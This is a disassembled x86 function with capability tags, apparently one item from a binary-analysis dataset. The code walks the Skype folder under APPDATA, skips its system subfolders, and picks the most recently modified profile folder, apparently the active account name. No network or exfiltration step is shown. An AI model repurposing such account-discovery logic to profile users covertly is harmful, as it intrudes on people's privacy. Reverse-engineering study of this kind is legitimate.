Function at 0x4165b0
Capabilities:
Enumerate files on windows
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x452630
mov eax, dword fs:[0]
push eax
mov eax, 0x10368
call fcn.00441530
mov eax, dword [0x4668f0]
xor eax, esp
mov dword [esp + 0x10360], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4668f0]
xor eax, esp
push eax
lea eax, [esp + 0x1037c]
mov dword fs:[0], eax
mov eax, dword [esp + 0x1038c]
xor edi, edi
push str.APPDATA
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], edi
call fcn.00434f0c
add esp, 4
xor ecx, ecx
mov word [esp + 0x54], cx
mov ecx, eax
mov dword [esp + 0x68], 7
mov dword [esp + 0x64], edi
lea esi, [ecx + 2]
mov dx, word [ecx]
add ecx, 2
cmp dx, di
jne 0x416625
sub ecx, esi
sar ecx, 1
push ecx
lea esi, [esp + 0x54]
call fcn.0042d9a0
mov edx, esi
push edx
mov ebx, str.Skype
lea esi, [esp + 0x10ec]
mov dword [esp + 0x10388], 1
call fcn.0042f490
add esp, 4
mov byte [esp + 0x10384], 3
cmp dword [esp + 0x68], 8
jb 0x41667c
mov eax, dword [esp + 0x54]
push eax
call fcn.00434321
add esp, 4
mov edi, dword [esp + 0x10ec]
xor ebp, ebp
xor ecx, ecx
cmp dword [esp + 0x1100], 8
mov ebx, 7
mov dword [esp + 0x68], ebx
mov dword [esp + 0x64], ebp
mov word [esp + 0x54], cx
jae 0x4166aa
lea edi, [esp + 0x10ec]
push fcn.0042bc90
push 0x42bc00
push 0x400
push 0x1c
lea edx, [esp + 0x1364]
push edx
mov dword [esp + 0x48], ebp
call fcn.00435e2f
push fcn.0042bc90
push 0x42bc00
push 0x400
push 0x1c
lea eax, [esp + 0x8364]
push eax
mov byte [esp + 0x10398], 4
call fcn.00435e2f
push ebp
mov eax, 0x45b3f8
lea esi, [esp + 0x8358]
mov byte [esp + 0x10388], 5
call fcn.0042d9a0
xor ecx, ecx
push ebp
mov eax, 0x45b3f8
lea esi, [esp + 0x1098]
mov dword [esp + 0x10b0], ebx
mov dword [esp + 0x10ac], ebp
mov word [esp + 0x109c], cx
call fcn.0042d9a0
mov byte [esp + 0x10384], 6
cmp edi, ebp
je 0x41675d
mov ecx, 0x800
mov eax, edi
lea esp, [esp]
cmp word [eax], bp
je 0x41675d
add eax, 2
sub ecx, 1
jne 0x416750
lea eax, [esp + 0xf374]
mov ecx, eax
mov edx, 0x800
sub edi, ecx
lea ecx, [ecx]
lea ecx, [edx + 0x7ffff7fe]
test ecx, ecx
je 0x416790
movzx ecx, word [edi + eax]
cmp cx, bp
je 0x416790
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x416770
jmp 0x416794
cmp edx, ebp
jne 0x416797
sub eax, 2
xor edx, edx
mov word [eax], dx
mov ecx, 0x800
lea eax, [esp + 0xf374]
cmp word [eax], bp
je 0x4167b7
add eax, 2
sub ecx, 1
jne 0x4167a8
jmp 0x4167df
cmp ecx, ebp
je 0x4167df
mov eax, 0x800
sub eax, ecx
mov ecx, 0x800
sub ecx, eax
lea edx, [esp + eax*2 + 0xf374]
push 0x45c33c
mov eax, bind
call fcn.00402750
lea eax, [esp + 0x1104]
push eax
lea ecx, [esp + 0xf378]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x30], eax
cmp eax, 0xffffffff
jne 0x4168b7
mov esi, dword [esp + 0x38]
xor edx, edx
mov dword [esi + 0x18], ebx
mov dword [esi + 0x14], ebp
push ebp
mov eax, 0x45b3f8
mov word [esi + 4], dx
call fcn.0042d9a0
mov edi, 8
mov dword [esp + 0x3c], 1
cmp dword [esp + 0x10ac], edi
jb 0x416843
mov eax, dword [esp + 0x1098]
push eax
call fcn.00434321
add esp, 4
push fcn.0042bc90
push 0x400
push 0x1c
lea edx, [esp + 0x8360]
xor ecx, ecx
push edx
mov dword [esp + 0x10bc], ebx
mov dword [esp + 0x10b8], ebp
mov word [esp + 0x10a8], cx
mov byte [esp + 0x10394], 4
call fcn.00435392
push fcn.0042bc90
push 0x400
push 0x1c
lea eax, [esp + 0x1360]
push eax
mov byte [esp + 0x10394], 3
call fcn.00435392
cmp dword [esp + 0x1100], edi
jb 0x4171e9
mov ecx, dword [esp + 0x10ec]
push ecx
jmp 0x4171e1
lea edx, [esp + 0x1354]
mov dword [esp + 0x40], edx
test byte [esp + 0x1104], 0x10
je 0x416eb0
xor eax, eax
mov word [esp + 0x18], ax
lea eax, [esp + 0x1130]
mov dword [esp + 0x2c], 7
mov dword [esp + 0x28], ebp
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x4168f0
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x1134]
lea esi, [esp + 0x18]
call fcn.0042d9a0
mov byte [esp + 0x10384], 7
mov eax, dword [esp + 0x28]
push 0x45c344
mov edi, 1
mov ecx, esi
call fcn.00430060
test eax, eax
sete bl
mov byte [esp + 0x10384], 6
cmp dword [esp + 0x2c], 8
jb 0x41694e
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00434321
add esp, 4
test bl, bl
jne 0x416eb0
xor edx, edx
lea eax, [esp + 0x1130]
mov word [esp + 0x18], dx
mov dword [esp + 0x2c], 7
mov dword [esp + 0x28], ebp
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x416973
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x1134]
lea esi, [esp + 0x18]
call fcn.0042d9a0
mov byte [esp + 0x10384], 8
mov eax, dword [esp + 0x28]
push 0x45c348
mov edi, 2
mov ecx, esi
call fcn.00430060
test eax, eax
sete bl
mov byte [esp + 0x10384], 6
cmp dword [esp + 0x2c], 8
jb 0x4169d1
mov eax, dword [esp + 0x18]
push eax
call fcn.00434321
add esp, 4
test bl, bl
jne 0x416eb0
xor ecx, ecx
lea eax, [esp + 0x1130]
mov dword [esp + 0x2c], 7
mov dword [esp + 0x28], ebp
mov word [esp + 0x18], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x4169f6
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x1134]
lea esi, [esp + 0x18]
call fcn.0042d9a0
mov byte [esp + 0x10384], 9
mov eax, dword [esp + 0x28]
push str.DataRv
mov edi, 6
mov ecx, esi
call fcn.00430060
test eax, eax
sete bl
mov byte [esp + 0x10384], 6
cmp dword [esp + 0x2c], 8
jb 0x416a54
mov edx, dword [esp + 0x18]
push edx
call fcn.00434321
add esp, 4
test bl, bl
jne 0x416eb0
xor eax, eax
mov word [esp + 0x18], ax
lea eax, [esp + 0x1130]
mov dword [esp + 0x2c], 7
mov dword [esp + 0x28], ebp
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x416a80
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x1134]
lea esi, [esp + 0x18]
call fcn.0042d9a0
mov byte [esp + 0x10384], 0xa
mov eax, dword [esp + 0x28]
push str.Content
mov edi, 7
mov ecx, esi
call fcn.00430060
test eax, eax
sete bl
mov byte [esp + 0x10384], 6
cmp dword [esp + 0x2c], 8
jb 0x416ade
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00434321
add esp, 4
test bl, bl
jne 0x416eb0
lea eax, [esp + 0x1130]
lea ecx, [esp + 0x14]
call fcn.0042bc20
mov ecx, eax
mov byte [esp + 0x10384], 0xb
mov eax, dword [ecx + 0x14]
push str.DbTemp
mov edi, 6
call fcn.00430060
test eax, eax
sete bl
mov byte [esp + 0x10384], 6
cmp dword [esp + 0x2c], 8
jb 0x416b33
mov edx, dword [esp + 0x18]
push edx
call fcn.00434321
add esp, 4
test bl, bl
jne 0x416eb0
lea eax, [esp + 0x1130]
lea ecx, [esp + 0x14]
call fcn.0042bc20
mov esi, str.My_Skype_Received_Files
mov ecx, eax
mov byte [esp + 0x10384], 0xc
call fcn.0042f130
lea ecx, [esp + 0x14]
mov bl, al
mov byte [esp + 0x10384], 6
call fcn.0042bc90
test bl, bl
jne 0x416eb0
lea eax, [esp + 0x1130]
lea ecx, [esp + 0x14]
call fcn.0042bc20
mov esi, str.shared_dynco
mov ecx, eax
mov byte [esp + 0x10384], 0xd
call fcn.0042f130
lea ecx, [esp + 0x14]
mov bl, al
mov byte [esp + 0x10384], 6
call fcn.0042bc90
test bl, bl
jne 0x416eb0
lea eax, [esp + 0x1130]
lea ecx, [esp + 0x14]
call fcn.0042bc20
mov esi, str.Pictures
mov ecx, eax
mov byte [esp + 0x10384], 0xe
call fcn.0042f130
lea ecx, [esp + 0x14]
mov bl, al
mov byte [esp + 0x10384], 6
call fcn.0042bc90
test bl, bl
jne 0x416eb0
lea eax, [esp + 0x1130]
lea ecx, [esp + 0x14]
call fcn.0042bc20
mov esi, str.shared_httpfe
mov ecx, eax
mov byte [esp + 0x10384], 0xf
call fcn.0042f130
lea ecx, [esp + 0x14]
mov bl, al
mov byte [esp + 0x10384], 6
call fcn.0042bc90
test bl, bl
jne 0x416eb0
lea eax, [esp + 0x1130]
lea ecx, [esp + 0x14]
call fcn.0042bc20
mov esi, str.shared_html
mov ecx, eax
mov byte [esp + 0x10384], 0x10
call fcn.0042f130
lea ecx, [esp + 0x14]
mov bl, al
mov byte [esp + 0x10384], 6
call fcn.0042bc90
test bl, bl
jne 0x416eb0
lea eax, [esp + 0x1130]
lea ecx, [esp + 0x14]
call fcn.0042bc20
push ebp
push eax
or eax, 0xffffffff
lea esi, [esp + 0x109c]
mov byte [esp + 0x1038c], 0x11
call fcn.0042d770
lea ecx, [esp + 0x14]
mov byte [esp + 0x10384], 6
call fcn.0042bc90
mov eax, esi
push eax
mov edx, 0x45c4f0
call fcn.0042bcf0
xor ecx, ecx
mov dword [esp + 0x10e4], 7
mov dword [esp + 0x10e0], ebp
mov word [esp + 0x10d0], cx
mov ebx, 0xf
mov dword [esp + 0x10c8], ebx
mov dword [esp + 0x10c4], ebp
mov byte [esp + 0x10b4], cl
mov byte [esp + 0x10384], 0x13
mov edx, dword [esp + 0x1114]
mov eax, dword [esp + 0x1110]
push edx
push eax
call fcn.004095e0
lea ecx, [esp + 0x4c]
push ecx
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], edx
call fcn.00434c75
lea edx, [esp + 0x78]
add esp, 0xc
push edx
mov esi, eax
call fcn.00437723
mov edi, dword [esi + 0x14]
lea ecx, [edi + 0x12b]
mov eax, 0x51eb851f
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
lea edx, [edi - 1]
mov eax, 0x51eb851f
imul edx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
lea eax, [edi - 0x45]
cdq
add edi, 0xffffffba
imul edi, edi, 0x16d
and edx, 3
add eax, edx
mov edx, dword [esi + 8]
sar eax, 2
add ecx, eax
add ecx, edi
add ecx, dword [esi + 0x1c]
add esp, 4
lea ecx, [ecx + ecx*2]
lea eax, [edx + ecx*8]
mov edx, dword [esi + 4]
mov ecx, eax
shl ecx, 4
sub ecx, eax
lea eax, [edx + ecx*4]
mov ecx, eax
shl ecx, 4
mov edx, dword [esi]
sub ecx, eax
lea edi, [edx + ecx*4 - 0x3841]
cmp edi, ebp
jne 0x416db0
mov edi, dword [esp + 0x6c]
push esi
push str._d._m._Y__H:_M:_S
lea eax, [esp + 0xf35c]
push 0x20
push eax
call fcn.00436d20
lea ecx, [esp + 0x24]
push edi
push ecx
call fcn.004027f0
add esp, 0x18
push 0xffffffffffffffff
push ebp
push eax
lea ecx, [esp + 0x10bc]
mov byte [esp + 0x10390], 0x14
call fcn.0042bf10
lea ecx, [esp + 0x14]
mov byte [esp + 0x10384], 0x13
call fcn.0042b520
lea edx, [esp + 0x10cc]
push edx
lea esi, [esp + 0x10b4]
call fcn.00409600
add esp, 4
push ebp
lea eax, [esp + 0x10d0]
push eax
or eax, 0xffffffff
lea esi, [esp + 0x109c]
call fcn.0042d770
mov esi, dword [esp + 0x34]
lea eax, [esp + 0x1130]
lea ecx, [esp + 0x14]
mov dword [esp + esi*4 + 0x74], edi
call fcn.0042bc20
mov edi, dword [esp + 0x40]
push 0xffffffffffffffff
push ebp
mov ecx, edi
mov byte [esp + 0x1038c], 0x15
call fcn.0042c6a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x10384], 0x13
call fcn.0042bc90
lea ecx, [esp + 0x1094]
push ecx
mov edx, 0x45b4c0
call fcn.0042bcf0
inc esi
add edi, 0x1c
cmp esi, 0x400
mov dword [esp + 0x34], esi
mov dword [esp + 0x40], edi
jg 0x416ecd
lea ecx, [esp + 0x10b0]
call fcn.0042b520
lea ecx, [esp + 0x10cc]
mov byte [esp + 0x10384], 6
call fcn.0042bc90
mov eax, dword [esp + 0x30]
lea edx, [esp + 0x1104]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4168c2
jmp 0x416f1f
cmp dword [esp + 0x10c8], 0x10
jb 0x416ee7
mov ecx, dword [esp + 0x10b4]
push ecx
call fcn.00434321
add esp, 4
mov byte [esp + 0x10384], 6
cmp dword [esp + 0x10e4], 8
mov dword [esp + 0x10c8], ebx
mov dword [esp + 0x10c4], ebp
mov byte [esp + 0x10b4], 0
jb 0x416f1f
mov edx, dword [esp + 0x10d0]
push edx
call fcn.00434321
add esp, 4
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebp
mov eax, 0x45b3f8
lea esi, [esp + 0x1098]
call fcn.0042d9a0
cmp dword [esp + 0x34], ebp
je 0x417001
mov ecx, dword [esp + 0x34]
lea ebp, [esp + 0x8354]
mov dword [esp + 0x30], ecx
mov esi, dword [esp + 0x34]
xor edx, edx
xor edi, edi
xor eax, eax
nop
mov ecx, dword [esp + eax*4 + 0x74]
cmp edx, ecx
jae 0x416f6c
mov edx, ecx
mov edi, eax
inc eax
cmp eax, esi
jne 0x416f60
lea esi, [edi*8]
sub esi, edi
push 0xffffffffffffffff
lea esi, [esp + esi*4 + 0x1358]
push 0
mov eax, esi
mov ecx, ebp
call fcn.0042c6a0
push 0
mov eax, 0x45b3f8
call fcn.0042d9a0
push ebp
mov ebx, 0x45c4f4
lea esi, [esp + 0x10d0]
mov dword [esp + edi*4 + 0x78], 0
call fcn.0042f490
add esp, 4
push 0
push eax
or eax, 0xffffffff
lea esi, [esp + 0x109c]
mov byte [esp + 0x1038c], 0x16
call fcn.0042d770
mov byte [esp + 0x10384], 6
cmp dword [esp + 0x10e4], 8
jb 0x416ff3
mov edx, dword [esp + 0x10d0]
push edx
call fcn.00434321
add esp, 4
add ebp, 0x1c
sub dword [esp + 0x30], 1
jne 0x416f55
xor eax, eax
mov word [esp + 0x107c], ax
push eax
mov eax, 0x45b3f8
lea esi, [esp + 0x107c]
mov dword [esp + 0x1094], 7
mov dword [esp + 0x1090], 0
call fcn.0042d9a0
mov byte [esp + 0x10384], 0x17
mov eax, dword [esp + 0x8368]
push 0x45b3f8
xor edi, edi
lea ecx, [esp + 0x8358]
call fcn.00430060
test eax, eax
je 0x41706a
push 0xffffffffffffffff
push edi
lea eax, [esp + 0x835c]
mov ecx, esi
call fcn.0042c6a0
push 0x45c4f8
mov ebx, 1
lea eax, [esp + 0x107c]
call fcn.0042c790
xor ebp, ebp
cmp eax, 0xffffffff
je 0x4170fd
mov ecx, dword [esp + 0x108c]
xor esi, esi
cmp ecx, ebp
je 0x4170fd
cmp esi, ecx
jbe 0x4170a4
call fcn.00435bca
mov ecx, dword [esp + 0x108c]
mov eax, dword [esp + 0x107c]
mov edi, 8
cmp dword [esp + 0x1090], edi
jae 0x4170c0
lea eax, [esp + 0x107c]
cmp word [eax + esi*2], 0x23
jne 0x4170f7
cmp esi, ecx
jbe 0x4170d0
call fcn.00435bca
mov eax, dword [esp + 0x107c]
cmp dword [esp + 0x1090], edi
jae 0x4170e7
lea eax, [esp + 0x107c]
mov ecx, 0x3a
mov word [eax + esi*2], cx
mov ecx, dword [esp + 0x108c]
add esi, ebx
cmp esi, ecx
jne 0x417096
mov esi, dword [esp + 0x38]
push 0xffffffffffffffff
mov edi, 7
xor edx, edx
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], ebp
push ebp
lea eax, [esp + 0x1080]
mov ecx, esi
mov word [esi + 4], dx
call fcn.0042c6a0
mov dword [esp + 0x3c], ebx
mov ebx, 8
cmp dword [esp + 0x1090], ebx
jb 0x417145
mov eax, dword [esp + 0x107c]
push eax
call fcn.00434321
add esp, 4
xor ecx, ecx
mov dword [esp + 0x1090], edi
mov dword [esp + 0x108c], ebp
mov word [esp + 0x107c], cx
cmp dword [esp + 0x10ac], ebx
jb 0x417176
mov edx, dword [esp + 0x1098]
push edx
call fcn.00434321
add esp, 4
push fcn.0042bc90
push 0x400
push 0x1c
lea ecx, [esp + 0x8360]
xor eax, eax
push ecx
mov dword [esp + 0x10bc], edi
mov dword [esp + 0x10b8], ebp
mov word [esp + 0x10a8], ax
mov byte [esp + 0x10394], 4
call fcn.00435392
push fcn.0042bc90
push 0x400
push 0x1c
lea edx, [esp + 0x1360]
push edx
mov byte [esp + 0x10394], 3
call fcn.00435392
cmp dword [esp + 0x1100], ebx
jb 0x4171e9
mov eax, dword [esp + 0x10ec]
push eax
call fcn.00434321
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x1037c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x10360]
xor ecx, esp
call fcn.0043432c
add esp, 0x10374
ret